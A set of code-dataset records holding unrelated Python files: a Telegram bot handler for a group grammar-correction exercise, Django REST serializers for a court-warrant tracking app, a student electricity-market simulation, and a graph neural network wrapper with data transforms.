else:\n        # Wait for message from the correct user -> go back to task selection\n        return state.SEN_CORR_SEL_WRONG_USER\n\n\ndef show_sentence_task_description(update: Update, context: CallbackContext):\n    group_chat_id = get_group_chat_id(update)\n    sentence_task = get_sentence_correction_task_of_group(group_chat_id)\n    send_message(sentence_task.get_task_instructions(),\n                 update, context, text_markup=True)\n\n    gif_url = get_gif_link(\"fix_it\")\n    send_animation(gif_url, update, context)\n\n    return present_first_task_iteration(update, context)\n\n\ndef send_sentence(update: Update, context: CallbackContext):\n    sentence_task = get_sentence_correction_task_of_group(\n        get_group_chat_id(\n            update))\n    # Send sentence to all students and add custom response keyboard for selected user\n    send_message(sentence_task.get_sentence_msg() + \"\\n\" + sentence_task.get_user_selected_msg(),\n                 update, context, reply_markup=keyboard_bool, text_markup=True)\n\n\ndef present_first_task_iteration(update: Update, context: CallbackContext):\n    sentence_task = get_sentence_correction_task_of_group(\n        get_group_chat_id(\n            update))\n    # Log info about proficiency\n    logger.info('Test information: Start of sentence correction task')\n    sentence_task.log_proficiencies()\n    # Initialize iteration\n    sentence_task.next_group_iteration()\n    # Send info about first iteration\n    send_message(sentence_task.get_first_iteration_info_msg(), update, context)\n    # Randomly select a user\n    sentence_task.select_next_user()\n    # Send sentence to all students\n    send_sentence(update, context)\n    return state.SEN_CORR_WAIT_FOR_ANSWER_SENTENCE\n\n\ndef present_next_task_iteration(update: Update, context: CallbackContext):\n    sentence_task = get_sentence_correction_task_of_group(\n        get_group_chat_id(\n            update))\n\n    # Get adaptive data.\n    sentence_adaptive_data_entry = sentence_task.get_adaptive_data_entry(\n        get_group_chat_id(\n            update))\n    # Insert db entry.\n    insert_sentence_correction_adaptive_data_entry(sentence_adaptive_data_entry)\n\n    # Check if group iteration is finished\n    if sentence_task.is_group_iteration_finished():\n        # Check if all responses were correct:\n        if sentence_task.is_correct_group_iteration():\n            # Combine positive feedback and code + Recap of current codeword\n            send_message(\n                sentence_task.get_correct_group_iter_feedback() + \"\\n\" +\n                sentence_task.get_codeword_recap(),\n                update, context)\n            # Increment counter\n            sentence_task.increment_correct_group_iteration()\n\n        else:\n            # Feedback\n            send_message(\n                sentence_task.get_incorrect_group_iter_feedback(),\n                update, context)\n            # Increment counter\n            sentence_task.increment_incorrect_group_iteration()\n\n        # Reset everything in the iteration over the group\n        sentence_task.next_group_iteration()\n\n    # Check if task is finished\n    if sentence_task.is_finished():\n        # Get room manager for global tracking of repeatability\n        group_room_manager = get_room_manager_of_group(\n            get_group_chat_id(update))\n        # increment repetitions counter\n        group_room_manager.increment_task_rep_count(\"sentence correction\")\n        # check if task can be repeated, i.e. check if the task repetition counter is less than 2\n        if not sentence_task.is_success():\n            if group_room_manager._reps_counter[\"sentence correction\"] < 2:\n                # add task back to list of available tasks\n                group_room_manager.repeat_current_task(\"sentence correction\")\n        # End the task and go back to room manager\n        return end_task(\n            update, context, success=sentence_task.is_success(),\n            codeword=sentence_task.get_codeword())\n    # Log info about proficiency\n    else:\n        logger.info('Test information: Next sentence')\n        sentence_task.log_proficiencies()\n        # Send info about next iteration\n        update.message.reply_text(\n            text=sentence_task.get_next_iteration_info_msg(),\n            quote=False)\n        # Randomly select a user\n        sentence_task.select_next_user()\n        send_sentence(update, context)\n        return state.SEN_CORR_WAIT_FOR_ANSWER_SENTENCE\n\n\ndef task_response_correct(update: Update, context: CallbackContext):\n    sentence_task = get_sentence_correction_task_of_group(\n        get_group_chat_id(\n            update))\n    # First check if message was sent from the selected user\n    if not check_selected_user(update):\n        # Update adaptive data counter.\n        sentence_task.n_messages_non_selected_users += 1\n        return state.SEN_CORR_WAIT_FOR_ANSWER_SENTENCE\n\n    # Update adaptive data counter.\n    sentence_task.n_messages_selected_user += 1\n    # User says sentence was correct via the reply keyboard\n    return _task_response(update, context, True)\n\n\ndef task_response_incorrect(update: Update, context: CallbackContext):\n    sentence_task = get_sentence_correction_task_of_group(\n        get_group_chat_id(\n            update))\n    # First check if message was sent from the selected user\n    if not check_selected_user(update):\n        # Update adaptive data counter.\n        sentence_task.n_messages_non_selected_users += 1\n        return state.SEN_CORR_WAIT_FOR_ANSWER_SENTENCE\n\n    # Update adaptive data counter.\n    sentence_task.n_messages_selected_user += 1\n    # User says sentence was incorrect via the reply keyboard\n    return _task_response(update, context, False)\n\n\ndef _task_response(update: Update, context: CallbackContext, response: bool):\n\n    sentence_task = get_sentence_correction_task_of_group(\n        get_group_chat_id(\n            update))\n    # Get the truth about the sentence\n    truth_answer = sentence_task.get_current_sentence_truth()\n    # Different cases according to task flow\n\n    if truth_answer == True and response == True:\n\n        # Log user answer\n        logger.info('Test information: User response = {}'.format(\n            \"Sentence is correct\"))\n\n        # Correct sentence and answer also correct -> Go to next user\n        sentence_task.increment_correct_count()\n        send_message(sentence_task.get_correct_response_feedback(),\n                     update, context, reply_markup=remove_keyboard_markup)\n\n        # Update proficiencies and go to next task\n        sentence_task.update_proficiencies(correct=True)\n        return present_next_task_iteration(update, context)\n\n    if truth_answer == True and response == False:\n        # Log user answer\n        logger.info(\n            'Test information: User response = {}'.format(\n                \"Sentence is incorrect\"))\n        # Correct sentence but incorrect answer\n        send_message(sentence_task.get_feedback_no_error(), update,\n                     context, reply_markup=remove_keyboard_markup)\n        # Update proficiencies and go to next task\n        sentence_task.update_proficiencies(correct=False)\n        return present_next_task_iteration(update, context)\n\n    if truth_answer == False and response == True:\n\n        # Log user answer\n        logger.info('Test information: User response = {}'.format(\n            \"Sentence is correct\"))\n\n        # Incorrect sentence not identified\n        send_message(sentence_task.get_feedback_missed_error(),\n                     update, context, reply_markup=remove_keyboard_markup)\n\n        sentence_sub_types = sentence_task.curr_sentence.sub_types\n\n        # Adaptibility: display appropriate grammar hint\n        send_grammar_feedback(update, context, sentence_sub_types, \"hint\")\n\n        return _identify_sentence_mistake(update, context)\n\n    if truth_answer == False and response == False:\n        # Log user answer\n        logger.info(\n            'Test information: User response = {}'.format(\n                \"Sentence is incorrect\"))\n        # Incorrect sentence correctly identified\n        send_message(sentence_task.get_correct_response_feedback(),\n                     update, context, reply_markup=remove_keyboard_markup)\n        return _identify_sentence_mistake(update, context)\n\n\ndef send_grammar_feedback(\n        update: Update, context: CallbackContext, sentence_sub_types: list,\n        hint_type: str):\n    \"\"\"Send message with a grammar tip that is shown when user\n    assume sentence is correct when it's wrong.\n    Used in Sentence Correction task.\n\n    Args:\n    sentence_sub_types -- sub types as list\n    hint_type -- \"hint\" or \"grammar_rule\" - specifying the output type for the user\n    \"\"\"\n    # Log which sub_type user was not able to identify as wrong\n    logger.info(f\"Wrong sentence of subtype {sentence_sub_types}\"\n                \" marked as correct by user.\")\n\n    # Add the subtype to tracker of already presented grammar rules\n    group_chat_id = get_group_chat_id(update)\n    sentence_task = get_sentence_correction_task_of_group(group_chat_id)\n\n    if hint_type == \"grammar_rule\":\n        sentence_task.grammar_rules_used.append(sentence_sub_types)\n\n    # Retrieve appropriate feedback and send it as Telegram message\n    feedback = get_grammar_tip(sentence_sub_types, hint_type)\n    send_message(feedback, update, context)\n\n    return\n\n\ndef get_grammar_tip(sub_types: list, hint_type: str):\n    \"\"\"Get grammar tip from external text file depending\n    on sub types of sentence. Used in Sentence Correction task.\n\n    Args:\n    sentence_sub_types -- sub types as list\n    hint_type -- \"hint\" or \"grammar_rule\" - specifying the output type for the user\n    \"\"\"\n\n    category = sub_types[0]\n\n    # with open('sentence_correction_tips_formating.json') as json_file:\n    #     grammar_rules = json.load(json_file)\n\n    path_to_json = \"data/adaptivity/sentence_correction_tips_formating.json\"\n    json_file = open(path_to_json)\n    grammar_rules_dict = json.load(json_file)\n\n    print(\"Category\", category, \"Value\", category.value)\n    print(\"hint type\", hint_type)\n    print(type(grammar_rules_dict))\n    print(list(grammar_rules_dict.keys()))\n    print(\"Number of keys\", len(list(grammar_rules_dict.keys())))\n    print(\"category.value Type\", type(category.value))\n    print(\"category.value to string\", type(str(category.value)))\n\n    return grammar_rules_dict[str(category.value)][hint_type]\n\n\ndef check_selected_user(update):\n    sentence_task = get_sentence_correction_task_of_group(\n        get_group_chat_id(\n            update))\n    return update.message.from_user.username == sentence_task.get_selected_user()\n\n\ndef _identify_sentence_mistake(update: Update, context: CallbackContext):\n    sentence_task = get_sentence_correction_task_of_group(\n        get_group_chat_id(\n            update))\n    # Log info about asking for identification\n    logger.info('Test information: User asked for error identification')\n    # Send message to identify the erroneous word\n    # Get words as a list\n    sentence_words = sentence_task.get_curr_sentence_words()\n    # Send message with keyboard markup that contains the words\n    send_message(sentence_task.get_identification_msg(),\n                 update, context,\n                 reply_markup=create_keyboard_markup(\n                     options=sentence_words))\n    return state.SEN_CORR_WAIT_FOR_ANSWER_IDENTIFICATION\n\n\ndef evaluate_sentence_mistake_identification(\n        update: Update, context: CallbackContext):\n    sentence_task = get_sentence_correction_task_of_group(\n        get_group_chat_id(\n            update))\n    # First check if message was sent from the selected user\n    if not check_selected_user(update):\n        # Update adaptive data counter.\n        sentence_task.n_messages_non_selected_users += 1\n        return state.SEN_CORR_WAIT_FOR_ANSWER_IDENTIFICATION\n\n    # Update adaptive data counter.\n    sentence_task.n_messages_selected_user += 1\n    # Get the text from the message\n    response = update.message.text\n    # Check if the response is a word in the sentence and go back to waiting for a response\n    if not sentence_task.is_response_in_words(response):\n        return state.SEN_CORR_WAIT_FOR_ANSWER_IDENTIFICATION\n\n    # Check against truth\n    if sentence_task.check_error_identification(response):\n        # Positive feedback\n        send_message(\n            sentence_task.get_feedback_correct_error_identification(),\n            update, context, reply_markup=remove_keyboard_markup)\n        # Error correction\n        return _correct_sentence_mistake(update, context)\n\n    else:\n        # Inform about mistake\n        send_message(\n            sentence_task.get_feedback_incorrect_error_identification(),\n            update, context, reply_markup=remove_keyboard_markup)\n        # Update proficiencies and go to next task\n        sentence_task.update_proficiencies(correct=False)\n\n        sentence_sub_types = sentence_task.curr_sentence.sub_types\n\n        # Adaptability: display appropriate grammar rule\n        send_grammar_feedback(\n            update, context, sentence_sub_types, \"grammar_rule\")\n\n        return _correct_sentence_mistake(update, context)\n\n\ndef _correct_sentence_mistake(update: Update, context: CallbackContext):\n    sentence_task = get_sentence_correction_task_of_group(\n        get_group_chat_id(\n            update))\n    # Log info about asking for correction\n    logger.info('Test information: User asked for sentence correction')\n    send_message(sentence_task.get_correction_msg(), update, context)\n\n    return state.SEN_CORR_WAIT_FOR_ANSWER_CORRECTION\n\n\ndef get_message_length(msg):\n    return len(msg.split(\" \"))\n\n\ndef evaluate_sentence_mistake_correction(\n        update: Update, context: CallbackContext):\n\n    sentence_task = get_sentence_correction_task_of_group(\n        get_group_chat_id(\n            update))\n\n    # First check if message was sent from the selected user\n    if not check_selected_user(update):\n\n        # Update adaptive data counter.\n        sentence_task.n_messages_non_selected_users += 1\n        return state.SEN_CORR_WAIT_FOR_ANSWER_CORRECTION\n\n    # Update adaptive data counter.\n    sentence_task.n_messages_selected_user += 1\n    # Get the message\n    response = update.message.text\n\n    # Check if message is not longer than one word -> ignore rest\n    if not get_message_length(response) == 1:\n        return state.SEN_CORR_WAIT_FOR_ANSWER_CORRECTION\n\n    # TODO: Specify when a response from the user is the actual response\n\n    # Check response against truth\n    if sentence_task.check_error_correction(response):\n\n        # Increment number of correct responses\n        sentence_task.increment_correct_count()\n\n        # Positive feedback\n        gif_url = get_gif_link(\"correct\")\n        send_animation(gif_url, update, context)\n        send_message(\n            sentence_task.get_feedback_correct_error_correction(),\n            update, context)\n\n        # Update proficiencies\n        sentence_task.update_proficiencies(correct=True)\n        # Go to next task\n        return present_next_task_iteration(update, context)\n\n    else:\n        # Inform about mistake\n        msg = sentence_task.get_feedback_incorrect()\n        if sentence_task.second_chance:\n            msg += sentence_task.get_feedback_error_correction()\n            sentence_task.second_chance = False\n        send_message(msg, update, context)\n        # Update proficiencies and go to next task\n\n        sentence_sub_types = sentence_task.curr_sentence.sub_types\n\n        # Give a learning opportunity in case the grammar rule has not been presented yet - present the rule and give one more try\n        group_chat_id = get_group_chat_id(update)\n        sentence_task = get_sentence_correction_task_of_group(group_chat_id)\n\n        if sentence_sub_types in sentence_task.grammar_rules_used:\n            sentence_task.update_proficiencies(correct=False)\n            msg = sentence_task.get_feedback_error_correction()\n            send_message(msg, update, context, text_markup=True)\n            return present_next_task_iteration(update, context)\n\n        else:\n            send_grammar_feedback(\n                update, context, sentence_sub_types, \"grammar_rule\")\n\n            msg = sentence_task.get_try_again_msg(\n                sentence_task.curr_sentence.get_str())\n            msg += \"\\n\" + sentence_task.get_user_selected_msg()\n            send_message(msg, update, context, text_markup=True)\n\n            sentence_task.second_chance = True\n\n            return _correct_sentence_mistake(update, context)\n\n\ndef end_task(update: Update, context: CallbackContext, success: bool,\n             codeword: str):\n    # Log info about proficiency\n    logger.info('Test information: End of sentence correction task')\n    sentence_task = get_sentence_correction_task_of_group(\n        get_group_chat_id(\n            update))\n\n    # Get adaptive data.\n    sentence_adaptive_data_entry = sentence_task.get_adaptive_data_entry(\n        get_group_chat_id(\n            update))\n    # Insert db entry.\n    insert_sentence_correction_adaptive_data_entry(sentence_adaptive_data_entry)\n\n    sentence_task.log_proficiencies()\n\n    # Send achievement info\n    # Inform group\n    update.message.reply_text(\n        text='Alright, let us check for new achievements ...', quote=False)\n    # Get all members of the group\n    all_students = sentence_task.all_users\n    # Boolean to check if new achievements have been completed (default is False)\n    new_achievements_completed = False\n    # Check and display achievements for each member\n    for student in all_students:\n        # Update achievements\n        new_achievements = student.update_achievements()\n        # Inform about new achievements (TODO: Should be done in private chat maybe -> More difficult to implement)\n        if len(new_achievements) > 0:\n            # New achievements have been completed\n            new_achievements_completed = True\n            # Create string with achievement descriptions as new lines\n            achievement_text = '\\n'.join(map(str, new_achievements))\n            # Inform about new achievements\n            update.message.reply_text(\n                text='Congratulation {}, you earned the following achievements: \\n{}'.\n                format(\n                    student.get_name(),\n                    achievement_text),\n                quote=False)\n    # Send goodbye depending on new achievements being completed\n    if new_achievements_completed:\n        update.message.reply_text(\n            text='Those were all new achievements.', quote=False)\n    else:\n        update.message.reply_text(\n            text='I found no new achievements.', quote=False)\n\n    remove_sentence_correction_task_of_group(get_group_chat_id(update))\n\n    # End the task -> Send dialogue and go to password entering\n    return end_task_group(\n        update, context, success=success, codeword=codeword,\n        state_success=state.SEN_CORR_END_SUCCESS,\n        state_fail=state.SEN_CORR_END_FAIL)\n\n\ndef stop_task(update: Update, context: CallbackContext):\n    # Log info about proficiency\n    logger.info('Test information: End of sentence correction task')\n    sentence_task = get_sentence_correction_task_of_group(\n        get_group_chat_id(\n            update))\n    sentence_task.log_proficiencies()\n\n    # Send achievement info\n    # Inform group\n    update.message.reply_text(\n        text='Alright, let us check for new achievements ...', quote=False)\n    # Get all members of the group\n    all_students = sentence_task.all_users\n    # Boolean to check if new achievements have been completed (default is False)\n    new_achievements_completed = False\n    # Check and display achievements for each member\n    for student in all_students:\n        # Update achievements\n        new_achievements = student.update_achievements()\n        # Inform about new achievements (TODO: Should be done in private chat maybe -> More difficult to implement)\n        if len(new_achievements) > 0:\n            # New achievements have been completed\n            new_achievements_completed = True\n            # Create string with achievement descriptions as new lines\n            achievement_text = '\\n'.join(map(str, new_achievements))\n            # Inform about new achievements\n            update.message.reply_text(\n                text='Congratulation {}, you earned the following achievements: \\n{}'.\n                format(\n                    student.get_name(),\n                    achievement_text),\n                quote=False)\n    # Send goodbye depending on new achievements being completed\n    if new_achievements_completed:\n        update.message.reply_text(\n            text=\"Those were all new achievements.\", quote=False)\n    else:\n        update.message.reply_text(\n            text=\"I found no new achievements.\", quote=False)\n\n    remove_sentence_correction_task_of_group(get_group_chat_id(update))\n\n    # Remove the room manager\n    remove_room_manager_of_group(get_group_chat_id(update))\n    # Send goodbye\n    update.message.reply_text(\n        text='Goodbye. To start again write /start.', quote=False)\n\n    # Return end state\n    return state.SEN_CORR_STOP\n","repo_name":"ALLUOS/ALLUOS_PUBLIC_APP","sub_path":"src/bot/handler/task/sen_corr_handler.py","file_name":"sen_corr_handler.py","file_ext":"py","file_size_in_byte":22711,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"9626566208","text":"__author__ = 'Dudu'\n\nfrom django.forms import widgets\nfrom rest_framework import serializers\nfrom app.models import Mandado, Oficial, Telefone, Diligencia, Tipo_Diligencia,\\\n    Estatus_Cumprimento, Foto, Audio, Vara, Comarca, Ordem, Version\nfrom django.contrib.auth.models import User, Group\nfrom rest_framework_bulk import (\n    BulkListSerializer,\n    BulkSerializerMixin,\n    ListBulkCreateUpdateDestroyAPIView,\n)\n\n\nclass MandadoSerializer(BulkSerializerMixin, serializers.ModelSerializer):\n    oficial = serializers.ReadOnlyField(source='oficial.usuario.username')\n\n    class Meta:\n        model = Mandado\n        list_serializer_class = BulkListSerializer\n        fields = (\n            'id',\n            'comarca',#\n            'vara',#\n            'processo',#\n            'destinatario',#\n            'cep',#\n            'rua',#\n            'numero',#\n            'bairro',#\n            'cidade',#\n            'estado',#\n            'pais',#\n            'latitude',#\n            'longitude',#\n            'endereco_ERRO',#\n            'verificado_em_loco',#\n            'complemento',#\n            'endereco_nao_mora',#\n            'endereco_ERRO',#\n            'verificado_em_loco',#\n            'complemento',#\n            'ajustado_mapa',#\n            'endereco_nao_mora',#\n            'numero_mandado',#\n            'ano_mandado',#\n            'codigo_mandado',#\n            'data',#\n            'oficial',#\n            'ordem',#\n            'audiencia',#\n            'conducao',#\n            'status_cumprimento',#\n            'cumprimento',#\n            'cor_urgencia',#\n            'rota',#\n            'owner',#\n            )\n\n\nclass OficialSerializer(serializers.ModelSerializer):\n    mandados = serializers.PrimaryKeyRelatedField(many=True, queryset=Mandado.objects.all())\n    class Meta:\n        model = Oficial\n        fields = (\n            'id',\n            'usuario',\n            'telefone',\n            'email',\n            'cpf',\n            'comarca',\n            'mandados',\n        )\n\n'''\nclass CepSerializer(serializers.ModelSerializer):\n    class Meta:\n        model = CEP\n        fields = (\n            'id',\n            'cep',\n            'rua',\n            'bairro',\n            'cidade',\n            'estado',\n            'pais',\n            'latitude',\n            'longitude',\n            'ajustado_mapa'\n        )\n\n'''\nclass TelefoneSerializer(serializers.ModelSerializer):\n    class Meta:\n        model = Telefone\n        fields = (\n            'id',\n            'ddd',\n            'telefone',\n            'mandado',\n        )\n\n'''\nclass EnderecoSerializer(serializers.ModelSerializer):\n    cep_str = serializers.CharField(source='cep', read_only=True)\n    class Meta:\n        model = Endereco\n        fields = (\n            'id',\n            'cep',\n            'cep_str',\n            'numero',\n            'latitude',\n            'longitude',\n            'endereco_ERRO',\n            'verificado_em_loco',\n            'complemento',\n        )\n'''\n\nclass DiligenciaSerializer(serializers.ModelSerializer):\n    class Meta:\n        model = Diligencia\n        fields = (\n            'id',\n            'mandado',\n            'data_diligencia',\n            'hora_diligencia',\n            'tipo_diligencia',\n            'latitude',\n            'longitude',\n            'data_agendamento',\n            'hora_agendamento',\n            'documento',\n            'editar_documento',\n        )\n\n\nclass Tipo_DiligenciaSerializer(serializers.ModelSerializer):\n    class Meta:\n        model = Tipo_Diligencia\n        fields = (\n            'id',\n            'nome',\n            'descricao',\n            'modelo_documento',\n            'estatus_cumprimento',\n            'diligencia_positiva',\n            'diligencia_parcial',\n            'diligencia_negativa',\n            'diligencia_nao_cumprida',\n            'diligencia_cumprida',\n            'endereco_ERRO',\n            'diligencia_nao_mora',\n            'verificado_em_loco',\n            'diligencia_externa',\n            'diligencia_coletiva',\n        )\n\n\nclass Estatus_CumprimetoSerializer(serializers.ModelSerializer):\n    class Meta:\n        model = Estatus_Cumprimento\n        fields = (\n            'id',\n            'estatus_cumprimento',\n            'descricao',\n            'exibir_mapa',\n            'cumprimento',\n        )\n\n\nclass OrdemSerializer(serializers.ModelSerializer):\n    class Meta:\n        model = Ordem\n        fields = (\n            'id',\n            'ordem',\n            'descricao',\n            'diligencia_positiva',\n        )\n\n\nclass ComarcaSerializer(serializers.ModelSerializer):\n    class Meta:\n        model = Comarca\n        fields = (\n            'id',\n            'nome',\n            'cod_comarca',\n            'endereco',\n        )\n\n\nclass VaraSerializer(serializers.ModelSerializer):\n    class Meta:\n        model = Vara\n        fields = (\n            'nome',\n            'comarca',\n        )\n\n\nclass FotoSerializer(serializers.ModelSerializer):\n    class Meta:\n        model = Foto\n        fields = (\n            'diligencia',\n            'descricao',\n            'foto',\n        )\n\n\nclass AudioSerializer(serializers.ModelSerializer):\n    class Meta:\n        model = Audio\n        fields = (\n            'diligencia',\n            'descricao',\n            'audio',\n        )\n\nclass UserSerializer(serializers.HyperlinkedModelSerializer):\n    snippets = serializers.HyperlinkedRelatedField(many=True, view_name='snippet-detail', read_only=True)\n\n    class Meta:\n        model = User\n        fields = ('id','url', 'username', 'first_name', 'last_name', 'is_staff', 'is_active', 'is_superuser', 'snippets', 'password', 'email')\n\n    def create(self, validated_data):\n        # colocar aqui as configurações do usuario que quero, ver a parte dos grupos e fazer oficial sempre\n        user = super(UserSerializer, self).create(validated_data)\n        user.set_password(validated_data['password'])\n        user.is_active = True\n        user.is_staff = True\n        user.is_superuser = False\n        user.groups.set([Group.objects.get(name='Oficial'),])\n\n        user.save()\n        return user\n\nclass VersionSerializer(serializers.ModelSerializer):\n    class Meta:\n        model = Version\n        fields = (\n            'id',\n            'versao',\n            'status',\n        )","repo_name":"dududrauto/my-first-blog","sub_path":"app/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":6296,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"1554201693","text":"#!/usr/bin/env python3\n# --------------------------------------------\n# marketplace.py\n# Author: Jacob Santelli and Ian Murray\n# --------------------------------------------\n\nimport pandas as pd\nimport numpy as np\n\n\n# takes a list of portfolio panda objects, returns them appended to one another\ndef append(portList):\n    df = portList[0]\n    for port in portList[1:]:\n        {df.append(port)}\n    return df\n\n\ndef portSort(portFrame):\n    portFrame.sort_values(\"price\")\n\n\ndef sampleDemand(mean_demand, sd=0.03):\n    pass\n\n\ndef calcRevenue(df, price):\n  df['revenue'] = df['is_generating'] * \\\n   (df['mw'] * \\\n   (price - \\\n    df['fuelcost'] - df['varom'] - df['carbon']))\n    \n\n# ------------ SINGLE ITERATION ---------------\n# 1. Portfolios send prices\n# 2. All supply sorted and creates supply curve\n# 3. Demand sampled and inelastic demand intersects with supply curve at marginal price\n# 4. For generating plants, return money back to portfolio based on supply they satisfied and inframarginal rents\n\n\ndef main():\n    portfolios_data = pd.read_csv(\"./generator_info.csv\")\n    # Drop missing values\n    portfolios_data.dropna(inplace=True)\n    portfolios_data[\"is_generating\"] = False\n    portfolios_data[\"price\"] = np.random.randint(1, 6, size=portfolios_data.shape[0])\n\n    simulate_hour(10800, portfolios_data)\n\n\ndef sample_demand(mu, sd=0.03):\n    return np.random.normal(loc=mu, scale=sd)\n\n\ndef set_price_by_id(data, id, price):\n    data_copy = data.copy()\n    data_copy.loc[data_copy[\"id\"] == id, (\"price\")] = price\n    return data_copy\n\n\ndef get_ids_of_portfolios(data, portfolio):\n    data_copy = data.copy()\n    return data_copy.loc[data_copy[\"portfolio\"] == portfolio, (\"id\")]\n\n\ndef simulate_hour(mean_demand, generator_data):\n    sampled_demand = sample_demand(mean_demand)\n    data_copy = generator_data.copy()\n    data_copy[\"revenue\"] = 0\n\n    # Sort data by price\n    data_copy.sort_values(\"price\", ascending=True, inplace=True)\n\n    # Get cumulative demand\n    # data_copy['cumulative_capacity'] = data_copy.loc[:, ('mw')].cumsum()\n\n    templist = data_copy.loc[:, (\"mw\")].cumsum()\n    data_copy[\"cumulative_capacity\"] = templist\n\n    # Get energy price for this hour\n    data_copy[\"is_generating\"] = data_copy[\"cumulative_capacity\"] < sampled_demand\n\n    # Marginal generator - need to cover entire demand (perfectly inelastic), so add final generator\n    marg_gen_index = data_copy.loc[~data_copy[\"is_generating\"], :].index.values.tolist()[0]\n    # (also set is_generating true for marg gen)\n    data_copy.loc[data_copy.index == marg_gen_index, 'is_generating'] = True\n    # Hour price\n    hour_price = data_copy[data_copy.index == marg_gen_index]['price']\n    \n    # Get revenues of entire dataframe\n    \n    # If is_generating True, then calculate revenue on these\n    return {'hour_price': hour_price, 'dataframe': data_copy.loc[data_copy['is_generating'], :]}\n\n\ndef sandbox():\n    df = pd.DataFrame()\n\n    portfolio_1 = {\"X\": 69.00, \"Y\": 500.00}\n    # price of generating unit with ID X from portfolio 1\n    portfolio_1[\"X\"]\n\n# set all of the generators from portfolio port\n# to a price defined by some arbitrary function\n# price_func by passing all relevant parameters\ndef set_portfolio_prices(data, price_func, port):\n  data_copy = data.copy()\n  list_of_ids = get_ids_of_portfolios(data_copy, port)\n\n  for id in data_copy:\n    if id in list_of_ids:\n      data_copy[data_copy['id'] == id]['price'] = \\\n      price_func(data_copy[data_copy['id'] == id]['mw'],\n                 data_copy[data_copy['id'] == id]['varom'],\n                 data_copy[data_copy['id'] == id]['carbon'],\n                 data_copy[data_copy['id'] == id]['varom'],\n                 data_copy[data_copy['id'] == id]['fixom'],\n                 )\n      \n  \n\n\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"jacob-santelli/ene422","sub_path":"marketplace.py","file_name":"marketplace.py","file_ext":"py","file_size_in_byte":3798,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"27661047040","text":"from .model_wrapper import ModelWrapper\n#from models.PPGN_variants import new_data_format\nfrom models.PPGN import PPGN, CV_regression, param_search, CV_10\nfrom dataclasses import dataclass\nimport torch\n\nclass PPGNNewDataFormatWrapper(ModelWrapper):\n    \n    LEARNING_RATES = {'AIDS': 0.0001, 'COLLAB': 0.0001, 'IMDB-BINARY': 0.00005, 'IMDB-MULTI': 0.0001, 'MUTAG': 0.0001, 'NCI1':0.0001, 'NCI109':0.0001, 'PROTEINS': 0.001, 'PTC_FM': 0.0001, 'QM9': 0.0001}\n    DECAY_RATES = {'AIDS': 1.0, 'COLLAB': 0.5, 'IMDB-BINARY': 0.5, 'IMDB-MULTI': 0.75, 'MUTAG': 1.0, 'NCI1':0.75, 'NCI109':0.75, 'PROTEINS': 0.5, 'PTC_FM': 1.0, 'QM9': 0.8}\n    EPOCHS = {'AIDS': 500, 'COLLAB': 150, 'IMDB-BINARY': 100, 'IMDB-MULTI': 150, 'MUTAG': 500, 'NCI1': 200, 'NCI109': 250, 'PROTEINS': 100, 'PTC_FM': 400, 'QM9': 500}\n    \n    @dataclass\n    class Config:\n        lr = 0.0001\n        decay = 0.5\n        epochs = 100\n        print_freq = 20\n        batch_size = 64\n        param_search = False\n        verbose = False\n        block_feat = 400\n        num_blocks = 3\n        depth = 2\n        new_suffix = True\n        version = 1\n        \n    config = Config()\n    \n    def __init__(self, dataset, config):\n        if dataset in self.LEARNING_RATES:\n            self.config.lr = self.LEARNING_RATES[dataset]\n            self.config.decay = self.DECAY_RATES[dataset]\n            self.config.epochs = self.EPOCHS[dataset]\n        super(PPGNNewDataFormatWrapper, self).__init__(dataset, config)\n        self.config.qm9 = self.qm9\n\n        X, y = self.data[0]\n        if self.config.qm9:\n            self.config.input_size = X.shape[0]\n            self.config.output_size = y.shape[1]\n        else:\n            self.config.input_size = X.shape[0]\n            self.config.output_size = self.data.num_classes\n\n        self.model = PPGN\n     \n    # transform a torch_geometric.data.Data object to the matrix needed for PPGNNewData-style models and *graph label*\n    def transform_data(self, data):\n        return self.transform(data)\n    \n    def run(self):\n        # For now, we won't allow param search on qm9\n        if self.qm9:\n            accuracy = CV_regression(self.model, self.data, self.config)\n        elif self.config.param_search:\n            lr, decay, accuracy = param_search(self.model, self.data, self.config)\n            print(f'\\nPARAMETER SEARCH COMPLETE. ACHIEVED BEST ACCURACY OF {accuracy} with lr={lr}, decay={decay}')\n        else:\n            accuracy = CV_10(self.model, self.data, self.config)\n        return accuracy\n    \n    def transform(self, data):\n        version = self.config.version\n        if version == 3:\n            return self.transformV3(data)\n        num_nodes = data.num_nodes\n        node_feats = data.x\n        if node_feats is None:\n            node_feats = torch.zeros((num_nodes, 1))\n        num_node_feats = len(node_feats[0])\n        edge_feats = data.edge_attr\n        if edge_feats is None:\n            edge_feats = torch.zeros((len(data.edge_index[0]), num_node_feats))\n            edge_feats[:,0] = 1\n            num_edge_feats = num_node_feats\n        else:\n            num_edge_feats = len(edge_feats[0])\n        if num_edge_feats < num_node_feats:\n            max_dim = num_node_feats\n            diff = num_node_feats - num_edge_feats\n            # Fill out edge_feats with extra dims\n            edge_feats = torch.stack([torch.cat((e, torch.zeros(diff))) for e in edge_feats])\n        elif num_node_feats < num_edge_feats:\n            max_dim = num_edge_feats\n            diff = num_edge_feats - num_node_feats\n            node_feats = torch.stack([torch.cat((v, torch.zeros(diff))) for v in node_feats])\n        else:\n            max_dim = num_node_feats\n            \n        if version == 2:\n            max_dim += 1\n            \n        mat = torch.zeros(num_nodes, num_nodes, max_dim)\n        for edge_feat, v1, v2 in zip(edge_feats, data.edge_index[0], data.edge_index[1]):\n            if version == 2:\n                mat[v1][v2][0] = 1\n                mat[v1][v2][1:] = edge_feat\n            else:\n                mat[v1][v2] = edge_feat\n            \n        for v1, node_feat in enumerate(node_feats):\n            if version == 2:\n                mat[v1][v1][1:] = node_feat\n            else:\n                mat[v1][v1] = node_feat\n        \n        y = data.y.squeeze()\n        if y.dim() == 0 or len(y) == 1:\n            y = int(y)\n        return (mat.transpose(0, 1).transpose(0,2), y)\n    \n    def transformV3(self, data):\n        num_nodes = data.num_nodes\n        node_feats = data.x\n        if node_feats is None:\n            #node_feats = torch.zeros((num_nodes, 1))\n            node_feats = []\n            num_node_feats = 0\n        else:\n            num_node_feats = len(node_feats[0])\n        num_aug_nodes = num_nodes + num_node_feats\n        mat = 